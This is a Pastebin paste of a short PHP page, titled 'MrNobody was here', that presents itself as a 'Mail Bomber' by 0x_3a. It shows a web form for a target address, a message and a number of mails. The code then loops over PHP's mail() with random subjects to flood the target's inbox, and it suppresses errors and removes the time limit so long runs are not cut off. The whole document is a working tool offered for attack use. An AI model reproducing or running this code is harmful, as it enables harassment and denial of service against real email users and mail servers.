Advertisement
MrN0body

mail

Aug 10th, 2017
190
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
PHP 1.44 KB | None | 0 0
  1. <!DOCTYPE html>
  2. <html>
  3. <head>
  4. <title>MrNobody was here</title>
  5. <style type="text/css">
  6. body {
  7.     background-image: url("https://pbs.twimg.com/media/DG3jXrUXoAIUjD-.jpg");
  8.     background-repeat: no-repeat;
  9.     background-position: center;
  10.     background-attachment: fixed;
  11.     background-color: #000;
  12.     color: #fff;
  13.     text-align: center;
  14.   }
  15. h1 {
  16.     font-size: 60px;
  17.     margin: 1px auto;
  18.     text-align: center;
  19.     font-family: Harlow Solid Italic;
  20.     padding: 20px;
  21.     }
  22. a  {
  23.     color: #fff;
  24.     text-decoration: none;
  25.     }
  26. a:hover {
  27.     color: red;
  28. }
  29. </style>
  30. </head>
  31. <body>
  32. <h1>Mail Bomber By <a href="https://twitter.com/0x_3a">0x_3a</a></h1><br>
  33. <form method="post">
  34. <input type="text" name="to" placeholder="To" required/><br>
  35. <input type="text" name="body" placeholder="Message" /><br>
  36. <input type="number" name="num" placeholder="Number of Mail" required/><br><br>
  37. <input type="submit" name="go" value="Go" />
  38. </form>
  39. <?php
  40. set_time_limit(0);
  41. error_reporting(0);
  42. if(isset($_POST["go"])) {
  43.     $cnt=0;
  44.     $to=trim($_POST["to"]);
  45.     $num=$_POST["num"];
  46.     $msg=$_POST["body"];
  47.     if($msg==NULL) {
  48.         $msg="If You are Bad, Then I am Your Dad.";
  49.     }
  50.     for($x=0; $x<$num; $x++) {
  51.         $sub=rand();
  52.         if(@mail($to,$sub,$msg)==TRUE) {
  53.             echo "<br/><font color='green'>Success</font>";
  54.             $cnt++;
  55.         }
  56.         else {
  57.             echo "<br><font color='red'>Failed</font>";
  58.         }
  59.     }
  60.     echo "<br><br>Total Mail Send : $cnt ";
  61. }
  62. ?>
  63. <!-- Developed By 0x_3a -->
  64. </body>
  65. </html>
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement